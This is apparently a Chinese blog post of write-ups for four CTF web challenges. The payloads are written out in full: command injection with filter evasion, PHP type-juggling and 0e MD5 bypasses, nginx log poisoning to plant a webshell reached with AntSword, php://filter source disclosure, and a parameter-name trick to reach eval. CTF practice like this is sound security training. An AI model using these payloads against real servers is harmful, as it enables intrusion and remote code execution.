【无标题】

作者 : admin 本文共3087个字,预计阅读时间需要8分钟 发布时间: 2024-06-10 共3人阅读

1.[MoeCTF 2021]babyRCE

【无标题】插图

 代码审计,rce,没有过滤ls,直接传参?rce=ls

【无标题】插图(1)

 有flag.php,直接cat命令打开

构造:?rce=c\at${IFS}fl\ag.php

打开源代码

【无标题】插图(2)

 也可以用tac命令

?rce=ta\c%09f\lag.php

【无标题】插图(3)

可以直接打印出来

2.[SWPUCTF 2022 新生赛]funny_php

 <?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."
".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }

    
?>

审计代码

GET传参num,检查是否存在,并且字符是否小于等于3,大于999999999

 如果成立,则输出D,到达下一关,使用科学计数法,构造?num=9e9

【无标题】插图(4)

 GET传参str,正则匹配了NSSCTF,需要str等于NSSCTF

用双写绕过

构造:?num=9e9&str=NSSNSSCTFCTF

【无标题】插图(5)

 post传参md5_1和md5_2

两个都需要是字符串,那么数组就不可以使用,需要md5_1,md5_2的值不一样,但是二者的MD5值一样,0e绕过

构造:md5_1=s155964671a&md5_2=s878926199a

【无标题】插图(6)

涉及科学记数法绕过,双写绕过,0e绕过

3.[HNCTF 2022 WEEK2]easy_include

【无标题】插图(7)

 GET传参file,尝试/etc/passwd,

【无标题】插图(8)

进过搜索后, nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin

有日志包含漏洞

apache服务器日志存放文件位置:/var/log/apache/access.log

nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log

所以,构造:?file=/var/log/nginx/access.log

【无标题】插图(9)

nginx服务器,可以看到回显的是ua报文头,同理,我们在ua头构造一句话木马 .

抓包,写入一句话木马:

【无标题】插图(10)

需要点击两次发送,第一次是写入木马,第二次是执行木马

接着就可以用cat命令读取flag

【无标题】插图(11)

 涉及nginx服务器日志包含漏洞,可在回显出写入一句话木马。

当然一句话木马也可以写:

传入成功后链接蚁剑

url :http://node5.anna.nssctf.cn:20241/?file=/var/log/nginx/access.log

密码:cmd

【无标题】插图(12)

4.[NSSRound#8 Basic]MyDoor

进去后是一个空白页面,但有file参数

【无标题】插图(13)

使用伪协议读取index.php的 内容

构造:?file=php://filter/convert.base64-encode/resource=index.php

【无标题】插图(14)

得到:

PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCg0KaWYgKGlzc2V0KCRfR0VUWydOX1MuUyddKSkgew0KICAgIGV2YWwoJF9HRVRbJ05fUy5TJ10pOw0KfQ0KDQppZighaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpIHsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOi9pbmRleC5waHA/ZmlsZT0nKTsNCn0gZWxzZSB7DQogICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KDQogICAgaWYgKCFwcmVnX21hdGNoKCcvXC5cLnxsYXxkYXRhfGlucHV0fGdsb2J8Z2xvYmFsfHZhcnxkaWN0fGdvcGhlcnxmaWxlfGh0dHB8cGhhcnxsb2NhbGhvc3R8XD98XCp8XH58emlwfDd6fGNvbXByZXNzL2lzJywgJGZpbGUpKSB7DQogICAgICAgIGluY2x1ZGUgJGZpbGU7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZGllKCdlcnJvci4nKTsNCiAgICB9DQp9

解码:

<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include $file;
    } else {
        die('error.');
    }
}

发现还有一个参数N_S.S

但是不能够直接这样传参,需要用[代替

根据php解析特性,如果字符串中存在[、.等符号,php会将其转换为_且只转换一次,因此我们直接构造的话N_S.S,最后php执行的是N_S_S,因此我们将前面的_用[代替

当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

所以构造:?N[S.S=phpinfo();

查看配置信息,里面匹配到flag

【无标题】插图(15)

涉及到filter协议读取index.php源码,php非法传参

本站无任何商业行为
个人在线分享 » 【无标题】
E-->